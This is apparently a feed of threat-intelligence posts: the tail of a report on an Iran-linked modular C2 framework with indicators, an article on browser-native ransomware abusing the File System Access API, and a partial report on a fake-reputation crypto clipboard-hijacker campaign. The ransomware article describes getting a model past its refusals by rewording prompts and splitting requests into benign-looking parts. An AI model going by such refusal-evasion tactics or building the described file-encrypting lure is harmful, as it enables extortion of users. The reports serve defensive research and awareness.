  • Typos baked into the binaries. The tunnel module carries "tunnel message receivecd" and "handeling connect ms", and the SQL module builds a query as SELECT TOP({0}) *FROM[{1}].[{2}] with the space dropped before FROM. Small slips like these are what a person produces while typing quickly.
  • Idiosyncratichand-picked names. Hardcoded markers such as the MYMUTEX123HELLP02 / MYMUTEX123HELLP04 mutexes and the leetspeak Cav3rn to Cavern rename are personal choices, the kind of naming a developer reaches for, not output a model would converge on.
  • Inconsistencies across modules. Casing drifts (netapi32.dll in some descriptors, Netapi32.dll in others), debug strings read like scratch notes (No Handler for path [...] ++), and the command grammar is bespoke rather than a library default.

None of these are individually conclusive, but together they form a consistent picture. The higher-level decisions (the three-format compilation strategy, the per-module AppDomain isolation with post-execution unload, the numbered self-update scheme) reflect deliberate design by someone who understood the trade-offs. The low-level texture (the frustration, the typos, the personal naming) reflects hands-on human coding. Our assessment is that Cavern is a human-authored framework, very plausibly built with some AI assistance for routine code, but driven and shaped throughout by a developer rather than generated end to end.

Victimology

Our analysis indicates that Cavern Manticore is primarily focused on Israeli targets, with particular interest in organizations operating in the government and IT sectors. Recent campaigns suggest that the threat actor possesses a strong understanding of the complex IT supplier chains within Israel’s cyber ecosystem. In several cases, we observed evidence of the actor moving from an initial compromised IT provider to a second-hop provider before ultimately reaching the intended target organization. This activity highlights the operational value of trusted service-provider relationships, particularly where Remote Monitoring and Management (RMM) solutions are deployed. By abusing these tools, the actor can move laterally between victims and deliver malicious software disguised as legitimate updates. The actor also appears to leverage browser-based remote desktop technologies to access targets of interest and, in some cases, abuse built-in features such as remote printing to exfiltrate data when clipboard-based copy-paste or file-transfer capabilities are restricted.

Attribution

During our analysis of an older Cavern Manticore toolset, we identified a communication module (CAV3RN_Http_Module) that uses a webshell-style ASP.NET handler, cac.aspx, hosted on a separate IIS server at one of two attacker-controlled or attacker-deployed domains and used as the command-and-control endpoint. The use of victim-side infrastructure to proxy C2 traffic, combined with XOR-based obfuscation, Base64 encoding, and a fixed verb set per backdoor, is consistent with techniques we have previously observed in operations attributed to OilRig subgroup named Lyceum. Additional overlaps further support a possible Iranian nexus: the targeting of SysAid servers has been observed in past activity linked to Iranian MOIS-aligned actors, including MuddyWater, and this campaign similarly focused on major IT providers in Israel. Finally, WHOIS analysis of the root domain observed in the campaign, hospitalinstallation[.]com, showed that it was registered through Fars Data, an Iranian hosting provider. Taken together, these technical evidences suggest a connection to Iranian-nexus threat activity.

Conclusion

Cavern Manticore illustrates the continued evolution of Iran-nexus cyber capabilities, exposing a mature and modular C2 framework that can be rapidly adapted to new campaigns, targets, and operational requirements. The adversary’s ability to gain access to organizations in the defense and government sectors during the U.S. military campaign “Operation Epic Fury” demonstrates both a high operational tempo and a disciplined approach to target selection.

This activity also emphasizes the persistent risk posed by supply-chain compromise. In several cases, a compromised IT supplier was not the final objective, but rather the first hop toward a higher-value target. By abusing trusted access relationships, the operators were able to move across organizational boundaries while blending into legitimate administrative workflows.

The campaign further highlights the expanding role of Remote Monitoring and Management tools (RMM) as an evolution of traditional living-off-the-land techniques. For defenders, this reinforces the need to monitor anomalous activity originating from otherwise benign RMM software, enforce strict access controls, limit remote sessions, and reduce the overall attack surface exposed through third-party management infrastructure.

By decoupling its core infrastructure from mission-specific modules, Cavern Manticore’s operators gain both operational agility and durability under defensive pressure. This modularity allows them to adjust capabilities per campaign while preserving the underlying framework. For defenders, the key takeaway is clear: detection strategies must move beyond static IOCs and focus on malware behavior patterns, infrastructure, and abuse of trusted administrative channels.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of this attack and protect against threats described in this report.

Security Recommendation

Conduct a focused review of logs, process execution events, and file activity involving uxtheme.dll, as this DLL is known to be abused in DLL sideloading attack chains. Security teams should also examine the C:\ProgramData directory for unusual DLL placement, recently created folders, unsigned binaries, or execution patterns that may indicate attempted or successful DLL sideloading.

IOCs

Hashes

SHA-256Component
37e123bd7998af4eae32718ce254776f36365a80ba56952593dab46f536d4066uxtheme.dll (Cavern Agent, build 02)
92cae0ad7f98f51a14bcc0ee05e372ebdc29ea96ea7bd161bd3f55198767603buxtheme.dll (Cavern Agent, build 04)
5dc08bda6919a57a85e5f38b857985fa71529ca39c8299868d5a49a987e19b18uxtheme.dll (Cavern Agent, oldest)
a4aa217def4c38f4ecacdf47b1cd687f60cc74c18ab75195be3c4357a790bf41n-HTCommp.dll (communication module)
b630c96d3763182533d4fb9b614134382bd644cb02c6c1c3ade848b6ecc31e86n-HTCommp.dll (communication module)
8e9425c0b46eeb516610ae913d13f2b3f44a023043cb099277031d4ec38a6134mhm.dll (file manager module)
0a3663648a46771a5a5423ad01e91a4e7ba825595e99fa934cb35cbb4848adc8mhm.dll (file manager module, older “Cav3rn” variant)
5394d3b220de4695f731647e3a70545f951a8912ceb0c6585efab8d6842e8b42db.dll (SQL database browser module)
30cb4679c4b8599eeb3d63a551716475c6332bdc4d4b4e3de0964aadb3092a10ode.dll (LDAP / Active Directory module)
2cb1ad3b22db8e3666ea138fee88034a87a87cf43db3d3265a675ebf221379b0n-ten.dll (network reconnaissance module)
7d586fb7f94182a8e2a0e53c7e4deb898066da029da5cd9972a94a59ca6d255an-sws.dll (SOCKS5 / WebSocket tunnel module)
541b1f417b9e42078c3355693a8a492b6a76048850f6549a429e0be99e6819cbOlder Cav3rn agent (earlier non-modular build)
cbc9485db715e1b8cc384fe94b4cceadca4006cda8a5e28adc8848529cfafc93Older Cav3rn agent (earlier non-modular build)
ccf218189c3aadb1c761da14bfda3bae686769031e1e1b10007648bd72e34748Older Cav3rn HTTP module (CAV3RN_Http_Module)

Network

IndicatorType
hospitalinstallation[.]comParent domain
auth[.]hospitalinstallation[.]comC2 (older agent)
google[.]com[.]hospitalinstallation[.]comC2 (newer agents)
adserviceupdate[.]comC2 domain invoked by the older Cav3rn HTTP module at https://adserviceupdate[.]com/cac.aspx; part of the older Cav3rn agent config
hygienehistory[.]comC2 domain invoked by the older Cav3rn HTTP module at https://hygienehistory[.]com/cac.aspx; part of the older Cav3rn agent config

Host Artifacts

IndicatorContext
MYMUTEX123HELLP / MYMUTEX123HELLP02 / MYMUTEX123HELLP04Mutex names
config.txt with keys ixdintAgent configuration
Cvn.cfg.A / Cvn.cfg.ULegacy alive-time config
C:\Users\rick\Desktop\Modules\cavern\PDB path prefix
cac.aspxOperator-deployed ASP.NET handler at https://<adserviceupdate[.]com|hygienehistory[.]com>/cac.aspx. Carried as configuration by the older Cav3rn agent and the older mhm.dll variant (defined but not invoked by either), and invoked by the older Cav3rn HTTP module.
inpt / outpt working directoriesCommand / result drop dirs for the older Cav3rn agent
.CvnC.png / .CvnA.png / .CvnR.png (JPEG-magic prefixed)PNG-styled steganographic command / default-API / result files used by the older Cav3rn agent

The post Cavern Manticore: Exposing Iran-Linked Modular C2 Framework appeared first on Check Point Research.

  •  

Browser-Only Ransomware: From LLM Hallucinations to a Practical Attack Technique

Research by: Alexey Bukhteyev

Key Takeaways

  • AI can turn high-level malicious ideas into concrete techniques, and can independently design and implement novel attack paths that have not yet appeared in real-world campaigns.
  • In this research, DeepSeek connected unrealistic browser-malware concepts with a real browser capability, turning an AI-generated malware hallucination into a plausible browser-native ransomware technique. Although the generated sample was incomplete, it exposed a practical abuse path based on the File System Access API and access to photo directories.
  • The technique does not require a native payload, APK installation, browser exploit, or root access. It relies on social engineering and a legitimate permission prompt exposed by the File System Access API in Google Chrome.
  • The Android scenario is especially concerning because photo directories are high value personal data stores and, unlike iOS, modern Android Chrome versions expose a browser API that allows web pages to read and modify files in those directories after user approval. Using a fake AI image-enhancement workflow gives users a plausible reason to approve folder-level file access. Our PoC demonstrates this browser-only workflow against selected image directories on Android.

Introduction

Over the past several years, large language models have reshaped software development, and malware development has followed the same path. Check Point Research has documented this trend from early experiments showing that AI systems could generate offensive components, to cases of cybercriminals using ChatGPT to create malicious tools, and later to advanced AI-authored malware frameworks such as VoidLink. In some cases, LLMs lowered the barrier enough for users with little or no development experience to produce working offensive code.

As frontier models became better at writing reliable code, including complex security related components, major AI vendors also turned cyber safety into a dedicated control area. Clearly malicious requests involving credential theft, malware deployment, ransomware behavior, persistence, stealth, or unauthorized exploitation are now commonly blocked or refused. OpenAI’s cyber-safety documentation, for example, describes additional safeguards for models classified as having High Cybersecurity Capability, while Anthropic has published reports on detecting and countering cyber misuse of Claude.

DeepSeek then becomes particularly relevant in this context for several reasons:

  • Lower refusal rates for harmful cyber enforcement: compared with Anthropic and OpenAI, DeepSeek models were less consistent refusing harmful cyber requests, including the File System Access API implementation we will be discussing later on this article.
  • Low barrier to access: DeepSeek is free to use via the web interface, widely available, and accessible in regions where other frontier models face regulatory or commercial restrictions. This lowers the cost of repeated malicious experimentation.
  • End-to-end malicious code from a single prompt: in our testing, a working malicious application could often be generated from a single broad prompt. Achieving a comparable result with OpenAI or Anthropic typically requires decomposing the attack into multiple benign-looking requests and manually assembling the generated components.

Putting this all together, these differences make DeepSeek particularly attractive to threat actors: DeepSeek models can turn high‑level malicious ideas into concrete, complete attacks with less expertise than competing platforms.

Check Point Research analyzed nearly 3,000 files attributed to DeepSeek observed in public telemetry over the past year. The dataset included Python, PowerShell, Batch, HTML, JavaScript, VBScript, and other file types. Of these, 1,383 files were classified as malicious or dangerous by either VirusTotal detection or static source analysis. Within this dataset, we found a sample that implemented a dangerous browser-native technique we have not observed exploited in the wild. We refer to it as In-Browser Ransomware. The technique uses a phishing lure to persuade the victim to grant file-system access to a web page; once access is granted, the page can enumerate local files in the selected folder, read and exfiltrate their contents, encrypt and overwrite them, and display a ransom-style message, all without installing a native payload or exploiting the browser.

The underlying browser risk was already known to browser engineers. The File System Access specification explicitly lists ransomware as a security consideration, and the 2023 USENIX Security paper RoB: Ransomware over Modern Web Browsers studied the abuse of the File System Access API to encrypt local files from a malicious web application.

The important finding in our research and what is new, is how the AI model brought these previously documented concepts together, into a realistic and enforceable attack scenario leveraging a method that defenders had originally thought was unfeasible due to browser sandboxing limits: a DeepSeek-attributed malicious sample, generated as an all-in-one malware fantasy, connected this documented platform risk to a realistic phishing-style web application, demonstrating a viable end-to-end attack chain. An attacker does not need to know that a browser exposes a file-system API. They can ask for an impossible-sounding outcome – a website that steals files, captures keystrokes, takes screenshots, encrypts files, and demands payment – and the model may connect the request to a real browser capability. Basically, the AI model showed an ability to reason across existing knowledge and combined multiple known components into a coherent attack workflow that could be readily used by an attacker. This illustrates how frontier AI models may move beyond simply enhancing existing attacker techniques to lowering the expertise required to operationalize complex attack chains by connecting knowledge in ways that previously relied on human experience and creativity.

A Noisy Sample With One Important Idea

The sample that caught our attention is SHA256

07c39f79ab92fb21557b82283472dce1c112f577d796111fb752c3c6d84c86b5, a Python Flask application that serves victim-facing HTML and JavaScript from embedded templates and also includes backend routes intended to receive information from the victim and provide an administration panel.

We do not have the prompt submitted to the AI model that produced this sample. Judging by the code structure, function names, and comments, it was likely formulated very broadly such as something similar to this example: create a universal malicious tool that runs through the browser and collects as much victim data as possible, encrypts files, and demands ransom. In a single front-end, the generated code assembled routines and stubs for keylogging, clipboard monitoring, form and network-request interception, Discord-token collection, crypto-wallet and payment-card discovery, geolocation requests, webcam and microphone access, screenshots, local-file access, Chrome exploit stubs, “persistence,” and a ransomware-style overlay. This does not mean the sample actually implements all of these capabilities. A more accurate reading is that it is an AI-generated blueprint in which the model tried to translate familiar capabilities of native stealers and ransomware tools into a web page opened in the browser.

The victim-facing page is disguised as a Discord avatar AI upscaler:

Victim-facing lure disguised as a Discord avatar AI upscaler in the DeepSeek attributed InfernoGrabber sample
Figure 1 – Victim-facing lure disguised as a Discord avatar AI upscaler in the DeepSeek attributed InfernoGrabber sample.

Clicking the button on the victim-facing lure page is intended to start the malicious browser-side sequence, although the generated control flow is inconsistent and does not complete reliably. After a fake processing step, the page is intended to display a ransomnote-style overlay under the name InfernoGrabber v9.0. The message claims that passwords, credit cards, and personal files were encrypted, demands Bitcoin, and displays a countdown threatening publication of private data.

InfernoGrabber ransom-note overlay.
Figure 2 – InfernoGrabber ransom-note overlay.

Most of the functionality claimed in the sample collapses at the browser boundary. A normal web page can observe activity inside its own origin, capture input events delivered to its own DOM, request browser-mediated permissions, access storage scoped to its own origin, and render frightening overlays. It remains constrained by the browser security model.

In this sample, the “desktop screenshot” routine captures the rendered web page, the keylogger observes keystrokes only while the user interacts with the page, webcam and microphone capture depend on browser permission prompts, and the Discord-token stealing logic searches storage available to the current origin. The “persistence” logic relies on browser storage and a service worker registration attempt.

Much of the sample therefore reads as an AI hallucination produced in response to an overly broad prompt or to requirements that a normal web page cannot satisfy. The exception was the file-access workflow, where the generated code reached for a real browser primitive with practical abuse potential.

The generated JavaScript referenced:

  • showOpenFilePicker();
  • showDirectoryPicker();
  • recursive traversal of a user-selected directory;
  • reading selected files through browser file handles;
  • sending file contents to the Flask backend;
  • displaying a ransomware-style warning after the interaction.

The File System Access API is a legitimate browser capability designed for web applications such as editors, IDEs, and creative tools. After the user grants access, a web application can read files and folders from the local device. The API also supports write access and directory enumeration under browser permission controls.

The technique is limited to browsers that expose the picker-based File System Access API. At the time of writing, this primarily means Chromium-family browsers: the API shipped on desktop in Chrome 86, and Chrome 132 extended File System Access support to Android and WebView. Firefox and Safari do not expose the same local file and directory picker methods, which limits the immediate attack surface but also concentrates the risk in Chrome-based browsing environments.

The sample lacked a complete and reliable browser-side encryption flow, yet the attack design was concrete: a fake utility convinces the user to grant browser file access, which allows the page to exfiltrate and encrypt files.

The model combined fake OS-level malware claims with a real browser primitive and produced a browser-native file-theft and ransomware scaffold. The sample shows how an LLM can transform an abstract malicious request into a new attack blueprint. The user likely wanted an all-in-one tool: a Discord-themed lure, a stealer, an admin panel, and a ransomware or locker workflow. The model chose a Flask application and a browser frontend as the unifying architecture. In doing so, it connected a hallucinated malware concept to a real platform feature with genuine abuse potential.

Even though we have not yet observed this exact browser-native ransomware pattern widespread in-the-wild campaigns, the technique is still operationally relevant for several reasons:

  • The browser becomes the execution environment: the attack runs entirely inside the browser process, without installing any additional app, dropping a binary, or exploiting a vulnerability. Traditional endpoint protections focus on apps and native payloads; a website that encrypts files after a legitimate-looking permission sits outside those assumptions.
  • Lower friction for victims: opening a web page and clicking “Allow” on a file-access prompt is a normal part of using modern web applications. Users do not intuitively treat this as “running malware”, which makes the social-engineering angle powerful.
  • Cross-platform reach: the same browser-native technique can target any platform where the File System Access API is exposed, we tested on Android and Windows.

From Hallucinated Scaffold to Working PoC

Because the original sample was incomplete, we tested whether the latest DeepSeek model V4 could turn the same browser-native attack idea into a working proof of concept.

When prompted directly to create ransomware, the model consistently refused across all tested modes.

DeepSeek V4 refuses to generate ransomware when prompted directly
Figure 3 – DeepSeek V4 refuses to generate ransomware when prompted directly.

Even though some requests were denied, we managed to succeed in the end. We removed explicit terms such as “ransomware” while preserving the same functionality: a web page that asks the user for access to local files, processes them inside the browser, and leaves the user unable to recover the original content.

In Instant mode, DeepSeek consistently generated HTML/JavaScript code that used the File System Access API to interact with user-selected files.

In Expert mode, the behavior was inconsistent across attempts:

  • several attempts ended in refusal;
  • one generated a non-functional sample;
  • one generated a fully working browser-based ransomware PoC.

One response was especially notable because the model described the result as:

“a crafted trap that combines a convincing AI upscaler interface with hidden ransomware-like behaviors”

This wording shows that the model recognized the malicious nature of the scenario while still continuing the generation.

For comparison, we tested similar requests against ChatGPT and Claude. In our tests, these systems either refused to help or generated constrained browser-safe implementations that did not use the File System Access API.

This does not mean that the same outcome is impossible with other frontier systems. With an incremental approach, a user can ask for separate components that appear benign in isolation, such as a user interface, browser file handling, client-side data transformation, and neutral status messaging, and then assemble them into a harmful workflow by replacing the neutral messages with a ransom note. The difference is the level of steering required. In that scenario, the user needs enough technical understanding to decompose the attack, preserve the malicious objective across separate requests, identify the right browser primitive, and combine the generated pieces manually.

In-Browser Ransomware on Android

To assess the practical risk of this technique, we used an LLM to build a controlled proof-of-concept (PoC) based on the same idea we observed in the DeepSeek-attributed sample: a browser-native ransomware workflow disguised as an AI image upscaler.

On Android, modern Chrome versions expose the picker-based File System Access API to web content. On iOS, Safari does not expose the same File System Access primitives to websites. Access to photos is mediated by the operating system’s app-sandbox and photo-library permissions instead of a web API that can enumerate and modify arbitrary folders. Chrome on iOS uses WebKit which also does not implement File System Access API. As a result, on mobiles, the technique we demonstrate is currently practical on Android Chromium browsers.

At the same time, the attack surface is narrower than arbitrary disk access. The picker-based File System Access API does not let a web page target the whole system disk, and Chromium applies additional restrictions to sensitive locations. In Chromium’s current implementation, broad access to locations such as the user’s home directory, Desktop, Documents, Downloads, Chrome data, application directories, Windows, Program Files, AppData, and several Linux and Android system paths is blocked or constrained. The File System Access specification also explicitly recommends restricting sensitive directories and lists ransomware as one of the risks the API design must account for.

However, selection of the root of the default Pictures and Videos directories was not restricted on any of the tested operating systems (Android and Windows). This capability fits naturally into a social-engineering workflow for a fake photo-processing application.

On desktop, the Pictures folder may contain personal files, but it is usually less central to business workflows than the user’s entire home directory or a Documents directory.

On mobile, the risk profile changes: the photo library is often one of the most valuable local data stores. It may contain years of private photos, identity documents, banking screenshots, medical records, recovery codes, travel documents, work images, and photos of family members. Losing access to this data, or having it exfiltrated, can create personal or business issues from ransomware to blackmail or if the data is sensitive, public disclosure leading to reputational damage and more. Chrome 132 introduced File System Access support on Android, allowing web applications, after user approval, to read and save changes directly to selected files and folders. We tested this capability on several Android devices and confirmed that the latest Chrome version available to us at the time of testing, Chrome 148, also allowed selecting the photo directory, including the root of the DCIM folder.

The workflow on Android looks very natural. The user opens a web page that promises to enhance a photo, selects an image, and is then asked to choose a directory for saving the “enhanced” results. The browser warning that the site will be able to edit files in the selected folder is easy to rationalize in that context: the user expects the service to write processed images back to the device. During the fake processing step, the PoC encrypts pictures inside the selected directory.

Video 1 – Demonstration of a browser-native ransomware PoC on Android using the File System Access API.

The combination of this technique, a natural social-engineering lure, and browser-only execution makes the Android scenario especially concerning. The resulting flow requires no APK installation, no vulnerability exploitation, no native payload, and no root access.

Users generally do not treat opening a web page as a malware execution event, especially when no application is installed and no binary is downloaded. In this case, the browser prompt appears in a context where file access feels expected, while the granted permission gives the page meaningful control over a directory that may contain highly sensitive personal data.

Practical Recommendations for Users

While this research focuses on a controlled PoC, there are concrete steps users can take today to reduce the risk of browser-native ransomware abuse:

Treat browser folder-access prompts as high-stakes decisions: before approving “access to files in a folder”, check which site is asking, which folder is being selected, and whether editing files is truly necessary for the feature you expect. If you are unsure why a site needs write access to an entire directory, decline the request.

Avoid granting websites access to sensitive or irreplaceable data: do not expose folders that contain personal photos, identity documents, recovery codes, or work data unless the site is highly trusted and the need is clear. Prefer selecting a temporary or empty folder for experimental web tools, rather than your main photo library.

Prefer well-established applications for high-value data: for tasks such as backing up photos, editing large collections, or processing sensitive images, use reputable native apps or well-known cloud services instead of newly discovered browser tools with unknown reputation.

Maintain offline and cloud backups of important data: regular backups reduce the leverage attackers gain from encrypting or deleting local files, whether through native ransomware or browser-based techniques.

Keep browsers and mobile OSes updated: browser and OS vendors continue to refine permission models and harden sensitive APIs. Applying updates promptly ensures that you benefit from the latest security controls around features like File System Access.

Be skeptical of AI-branded lures: attackers increasingly disguise malicious flows as “AI” utilities, avatar upscalers, photo enhancers, or productivity tools. A polished AI-themed interface is not a guarantee of safety; apply the same caution you would to any unfamiliar site asking for broad access to local files.

Conclusion

LLM-assisted malware development changes the economics of malicious experimentation. A user with limited technical understanding can describe a harmful outcome, generate code, test the result, adjust the prompt, and repeat the process at very low cost. Tasks that once required a developer, a purchased builder, or prior knowledge of the relevant platform can now be approached through cheap iteration.

This also changes the defender’s problem. Malware generated this way may move the ecosystem away from a limited set of reused families and builders toward a larger volume of disposable, one-off artifacts, each carrying a unique combination of techniques, API usage, and payload logic.

Hallucination adds another important dimension. AI-generated malware can be technically wrong and still reveal practical malicious techniques. When a model tries to satisfy unrealistic requirements, it may search across legitimate platform features and map a malicious goal to an API that actually exists. This process can surface techniques that defenders have not yet seen in the wild, or turn risks previously described mostly in theory into workable attack concepts. The case analyzed in this research shows exactly that: a noisy and partially broken artifact connected a theoretical browser risk to a practical browser-only ransomware technique.

In this case, the user likely asked for an impossible web application, a single browser page that behaves like a fully features stealer and ransomware agent. The model could not satisfy all of those requirements correctly, but in the process of trying, it searched across legitimate browser features and anchored part of the fantasy to a real API: the File System Access API.

This illustrates a broader risk:

  • A non-expert attacker does not need to know that such an API exists or how to abuse it.
  • By describing a high-level malicious outcome in natural language, they can cause the model to discover and connect the malicious goal to previously under-explored platform capabilities.
  • The resulting prototype can then be refined into a working PoC with minimal additional prompting or manual editing.

In other words, AI is not only lowering the barrier for reimplementing existing malware techniques; it is also capable of bridging the gap between purely theoretical risks and practical, novel attacks that defender have not yet seen deployed in the wild.

Historically, new attack techniques emerged through human experimentation, experience, and creativity. Frontier AI changes that dynamic. Rather than being constrained by conventional thinking or established attacker playbooks, AI can reason across existing knowledge and synthesize it in unexpected ways, connecting known capabilities into practical attack chains. The real shift is not that AI is inventing entirely new vulnerabilities, but that it may identify combinations and attack paths that humans had not previously recognized or operationalized.

At the time of analysis, we found no evidence that this technique had been adopted as an in-the-wild malware pattern. The original DeepSeek-attributed sample was incomplete and failed to implement the full attack reliably. However, our testing showed how little effort is required to transform the same idea into a fully working implementation using modern LLMs. The resulting workflow is especially concerning on mobile devices, where a seemingly legitimate request for access to a photo directory can expose highly sensitive personal data to encryption, exfiltration, or both. From a defensive perspective, browser folder-access prompts should be treated as security decisions rather than routine clicks. Before granting a website access to an entire folder, users should review which site is asking, which folder is being selected, whether file modification is allowed, and whether the permission matches the action they intended. Users should avoid granting websites access to directories containing sensitive, private, or irreplaceable data whenever possible.

The post Browser-Only Ransomware: From LLM Hallucinations to a Practical Attack Technique appeared first on Check Point Research.

  •  

From Stars to Upvotes: Fake Reputation Fueling a Crypto Clipboard Hijacker

Key Points

  • The threat actor uses multiple channels to promote and distribute a Rust clipboard hijacker, starting with a dedicated phishing page as the central hub and extending to GitHub and SourceForge projects promoted by fake accounts. A dedicated YouTube channel, using AI‑generated narrators, suspicious view spikes, and highly positive (likely coordinated) comments, further reinforces the illusion of popularity and trustworthiness.
  • In addition, the threat actor’s tools were also promoted through posts on legitimate news websites. These articles appear to be either paid/promoted posts or content published via compromised news outlets, giving the malware extra legitimacy by placing it alongside trusted news content.
  • The same illusion mechanism extends to VirusTotal, where some samples from this campaign receive benign votes and “safe” comments. Combined with the already low detection rate, this creates a misleading impression of safety that can influence both end users and reputation‑based detection systems.


Introduction

In this research, we analyze a clipboard hijacker campaign that is hidden inside a collection of “solutions” and “tools” that claim to give users an unfair advantage. These offers include Solana and Pump.fun sniper bots (automated tools that try to buy new tokens or meme coins faster than other traders), Aviator Predictor (software that claims to predict the outcome of the popular “Aviator” multiplier game), and several crash‑game “predictors” (programs that supposedly forecast when online betting games will stop and “crash”). The operation mainly targets users who are looking for shortcuts and quick profits—particularly crypto owners and online crash‑game gamblers and traders who are attracted by promises of automated gains and “predictable” outcomes.

To make this operation look legitimate and attractive, the threat actor has built an ecosystem across several platforms. A WordPress phishing site serves as the main landing page, while GitHub and SourceForge projects are used to host and distribute the files. These repositories show inflated engagement—such as high numbers of stars, forks, ratings, and downloads—likely generated by “Ghost Networks” of fake accounts. A YouTube channel, featuring AI‑generated narrators and suspicious spikes in views, promotes the same tools and adds another layer of social proof. In addition, the actor abuses sentiment and reputation signals on VirusTotal, where some samples from this campaign receive benign votes and “safe” comments. Combined with the already low detection rate, this creates a misleading impression of safety that can influence both end users and reputation‑based detection systems.

Behind this social‑engineering and promotion layer, the actual payloads delivered to victims are Rust‑based clipboard hijackers for both Windows and macOS. These binaries install persistence, continuously monitor the clipboard for strings that look like cryptocurrency wallet addresses, and replace them with attacker‑controlled wallets from large, embedded lists. The attacker‑controlled cryptocurrency wallets appear to have received multiple transactions, providing the actor with notable illicit gains.


Phishing Page

This phishing website promotes a mix of “edge” tools that all promise easy, unfair advantages. On one side, Solana / Pump.fun / DEX sniper bots claim they can automatically buy and sell new meme coins faster than other traders. On the other, Aviator Predictor and several Crash Predictors pretend to “decode” or “predict” crash‑game results so users can supposedly win more often. In most cases, victims are funneled to this site through links shared on social media, crypto forums, and Telegram channels. The clear targets are crypto owners, gamblers, and traders who are already looking for shortcuts and quick, automated gains.

Figure 1 — Phishing page.

The WordPress author is @JoseCmanXD, and the same name is used for the Telegram contact provided on the website.

Figure 2 — Telegram account provided in phishing page.

From the website, the actor provides links to GitHub, SourceForge, and YouTube. Across these platforms, the associated content shows inflated engagement, including likely manipulated views and interactions, making the tools appear more popular and trustworthy than they really are.

This inflated engagement appears to be driven by the threat actor’s use of multiple Ghost Networks on each platform. These Ghost Networks consist of fake or low-quality accounts and channels that repeatedly promote his tools, boost view counts, and generate likes or comments, thereby creating a false sense of credibility and social proof for potential victims.


GitHub & SourceForge

The actor appears to operate at least six GitHub accounts to promote and distribute his malicious software. These accounts also seem to collaborate with each other, as they are sometimes listed as contributors to one another’s repositories.

Figure 3 — GitHub account.

The main accounts attributed to the threat actor are Decryptor-j, crash-predictor1, roblox-script1, hack-scripts, and stake-mines. Many of their repositories have received multiple stars and forks from various accounts. This activity appears to be the result of the threat actor’s use of GitHub Ghost Networks, where controlled or fake accounts repeatedly star and fork the repositories to create an illusion of popularity and trustworthiness.

Figure 4 — Repository with 146 stars and 62 forks.

In total, just from GitHub, there appear to be just over 5,000 downloads and potential infections originating from the accounts mentioned above. Of these, over 1,250 downloads are associated with the macOS version of the promoted software “Aviator Predictor”, also indicating an impact on Mac users. When we also consider downloads originating from other platforms and the phishing website itself, the overall number of downloads and potential infections significantly exceeds the figures observed on GitHub alone.

In addition to GitHub, the threat actor also promotes another similar platform on the phishing page, SourceForge. SourceForge allows users to rate projects and leave comments. On this platform, we again observe fake or coordinated accounts posting highly positive feedback, similar to the behavior seen on other platforms that support user engagement. This activity further reinforces a misleading impression of legitimacy and reliability around the malicious tools.

Figure 5 — Positive engagement.

In general, SourceForge appears to have a smaller number of ghost accounts operating on its platform compared to other services observed in previous cases. Although we see relatively few comments or reviews, the download statistics seem highly manipulated, with a total of 44,485 downloads, the majority of which appear to originate from Pakistan and India.

Figure 6 — SourceForge download statistics.

It is interesting to note that the majority of downloads (37,460) appear to come from devices running Android. This is highly suspicious, as the developer currently offers only Windows and macOS versions. We cannot fully confirm this hypothesis, but a plausible explanation is the use of an Android farm to artificially inflate the download count on SourceForge.


YouTube & AI Usage

Another platform promoted through the phishing site is a YouTube channel showcasing the advertised “software” solutions. The videos have a relatively high number of views and likes, which likely helps attract additional victims and convinces them of the supposed effectiveness of these tools. Some older videos appear to target a Russian-speaking audience, suggesting that the threat actor initially focused on Russian-speaking user communities. More recent videos, however, appear to target a broader, global audience by using English.

Figure 7 — YouTube Channel.

Through the actor’s YouTube account, we again observe contact details that link the channel back to the WordPress site and the Telegram account @JoseCmanXD, further strengthening the attribution between these platforms and the same threat actor.

Figure 8 — Channel contact details.

The videos have a substantial number of views, however, their view counts do not show organic growth. Instead, we observe suspicious spikes in views, which is consistent with the use of YouTube Ghost Networks, where bot accounts artificially engage with the videos to inflate view numbers and make them more attractive to potential viewers.

Figure 9 — Suspicious view spikes, artificially inflated views.

In the comment section, we observe highly positive engagement that is likely used to lure potential victims and make them trust the effectiveness of the showcased solution. Many of these accounts appear to be Ghost Accounts that are used to generate fake views and artificial engagement. We also observe comments from potentially real users complaining about the actual effectiveness of the tools, which further indicates that the promoted software does not work as advertised.

Figure 10 — Positive engagement.

The YouTube video is styled to look like a genuine personal tutorial. It shows a desktop screen with visible mouse movements, as if a real user is demonstrating the “software” in real time. At the same time, an AI-generated narrator appears in the bottom-right corner, providing continuous instructions. This combination of on-screen activity and synthetic presenter is likely used to build trust and make the demonstration appear more authentic and convincing to potential victims.

Figure 11 — AI Generated Narrator.

The use of AI by cybercriminals is not limited to AI-assisted malware. Threat actors are constantly trying to incorporate these new technologies throughout the entire attack chain, including phishing, social engineering, content generation, and delivery mechanisms.


VirusTotal Upvotes Manipulation

Check Point Research has observed that some VirusTotal accounts post community comments and cast benign votes in an attempt to portray clearly malicious Indicators of Compromise (IOCs) as harmless. When this sentiment manipulation coincides with low antivirus detection rates, reputation-based detection systems may be more likely to misclassify these IOCs as benign, potentially allowing them to bypass security controls.

Reputation-based detection allows security teams to make fast, risk-informed decisions about files, URLs, and other network indicators by leveraging global threat intelligence, rather than relying solely on local detections. A key contributor to this intelligence ecosystem is VirusTotal, which aggregates malware and phishing indicators from dozens of security engines and community submissions. This shared visibility helps security vendors rapidly identify emerging threats and malicious infrastructure, strengthening reputation models when combined with their own telemetry and behavioral detection capabilities.

Figure 12 — VirusTotal upvotes and safe comment.

This specific threat actor has incorporated multiple Ghost Network services across GitHub, SourceForge, YouTube, and even VirusTotal. We systematically observed samples downloaded from the phishing site that not only had a low detection rate, but also showed positive engagement on VirusTotal, including upvotes and comments describing the binary as safe. This coordinated activity is likely intended to reduce suspicion and increase victims’ trust in the malicious files.

Figure 13 — VirusTotal upvotes and safe comments, through multiple samples.

While the low detection rate itself is not caused by the positive engagement, the combination of low detections and seemingly positive community feedback creates a strong, but false, impression of safety.


Promotion via News Sites & Forums

While searching for traces of the Telegram handle @JoseCmanXD, we also found references on legitimate news websites. These posts appear to be advertisements promoting the tool’s supposed capabilities and include links back to the phishing page, further luring potential victims into downloading the malicious software.

Figure 14 —The National Law Review, decryptor post.

Such posts could potentially be used to further legitimize the tool and make it appear trustworthy, as its capabilities are being advertised on legitimate news websites. This kind of exposure can mislead users into believing the solution is safe and reputable, when in reality it is part of a malicious campaign.

By searching further, we identified additional related posts from other news-oriented sources. All of these posts appear to have been published on the same day, April 27, 2026, suggesting a coordinated effort to promote the malicious tool within a short time frame.

Figure 15 — Google search results.

